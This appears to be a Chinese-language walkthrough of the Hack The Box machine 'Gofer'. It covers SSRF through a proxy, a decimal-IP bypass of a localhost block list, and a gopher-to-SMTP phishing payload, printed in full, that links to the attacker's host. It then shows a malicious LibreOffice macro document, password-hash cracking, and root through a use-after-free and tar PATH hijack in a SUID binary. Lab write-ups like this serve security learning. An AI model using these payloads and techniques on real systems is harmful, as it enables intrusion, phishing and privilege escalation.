HTB-Gofer
- 信息收集
- 立足
- jhudson -> tbuckley
- root
信息收集
探索一阵子没有什么收获,去看看smb服务。
mail提到有一个proxy。
扫描子域找到proxy。
我们没有任何账号密码,试了常见的弱口令也没有任何效果。
要是我用POST会发生什么。
似乎不会发生什么, 写了一个简单的脚本试着跑一下
尝试了添加url来看看会发生什么。
使用file协议读文件试试。
希望gopher没在黑名单里面。
看起来不错,那看看能用gopher干些啥。
还有mail里面的内容,“重要的文件通过内部发送”、Jocelyn可能会点击邮件里的链接、odt格式。
想必现在应该对攻击方法很清楚了,创建一个odt让Jocelyn点一下上线。
但是目前有个问题,127和localhost在黑名单,首先要想个办法绕过它。
试试用进制绕过黑名单。
嗯,绕过成功。
用gopherus。
使用gopherus生成的payload似乎没有正常运行。
看看gopherus生成的payload
结合hacktricks来看。
将换行的改为%250d%250a,空格为%20格式化成这样。
提交发现成功与smtp交互。
但是我们的happycat没有动静。仔细看是因为收件人问题。
通过观察发现这位Jeff Davis的邮箱是j加davis。
所以我们Jocelyn Hudson应该是jhudson。
gopher://2130706433:25/xHELO%20%250d%250aMAIL%20FROM:<jdavis@gofer.htb>%250d%250aRCPT%20TO:<jhudson@gofer.htb>%250d%250aDATA%250d%250aFrom:%20[Hacker]%20<hacker@site.com>%250d%250aTo:%20<victime@site.com>%250d%250aDate:%20Tue,%2015%20Sep%202017%2017:20:26%20-0400%250d%250aSubject:%20AH%20AH%20AH%250d%250a<a%20href="http://10.10.14.12/happycat">cat</a>%250d%250a.%250d%250aQUIT%250d%250a
http服务也记录到了获取。
接下来就是制作恶意odt文件。
并且在Libreoffice帮助文档找到了一些有趣的东西。
准备payload的时候发现它会获取到123.odt%22,多一个双引号"。
既然123.odt后面会自己加一个双引号,那我就只弄左边双引号就好了吧。
好了,接下来就差payload了,官方文档看到shell函数在宏与脚本类。
那我在LibreOffice弄弄看。
编辑他。
中间填上Shell("c:\windows\calc.exe",2)
,后面数字可省略。
但是我保存了并用gopher获取了也没有任何动静,宏并没有执行,可能缺少前置条件。继续看官方文档的宏部分,上面提到可以为事件指定脚本。
并且在文档所描述部分找到了打开文档事件。
添加上我们构造好的宏。
但是还是没有反弹,这是为什么,我不理解。不知道是不是这个的原因。
全部重来,并且在这一步的时候将宏放在bad.odt上。
立足
然后就好了
jhudson -> tbuckley
在/etc/apache2/.htpasswd找到了tbuckley可能的密码哈希。
hashcat wiki上的hash样例找到这是apache的哈希。
用hashcat并没有任何结果,proxy那个网站有一个基础验证,看看我们能不能找到那个网站相关代码。
目前只能找到哈希,用pspy看看。
利用获取的账号密码用ssh登录目标。
root
检查SUID文件后,发现有一个程序notes。
运行后得到以下选项。
先去看看这个notes有些什么功能。功能如其名,除了6因为没有实现,和8需要管理员权限,其他都能正常使用。
所以逆向的时候重点关注8,因为它需要管理员权限。
忽略一看,先通过名字是admin来进入if语句,然后通过不是绝对路径的tar来提权。先看看1里面怎么判断s(role)的值。
通过getuid来判断,如果不是0一律为user,如果当前是0则是admin。目前没有sudo,所以推测时间任务会执行这个notes的8号功能。但是并没有发现相关时间任务。
接着看。3可以释放s分配的内存。
4的ptr又会本配40个字节内存,并且我么能输入39个字节
而1我们只能输入23个字节,admin角色所在的第24位字节以后我们不能控制。
重点来了,s指向一个内存区,然后s被释放后,它是否还会指向那个内存区?如果我新开的ptr正好撞上s之前指向的内存区,那我可不可以通过ptr来修改s?
应该可以。
能够成功使用8功能。
在当前目录创建一个tar。
然后把当前目录导入系统环境。
执行上面那个利用方法。
关于悬空指针。
不过有个问题,为什么我在本机实验,是有可能会开辟到同一块内存地址。为什么目标的一次就成功了。相同代码拿到不同系统下运行差距就出来了。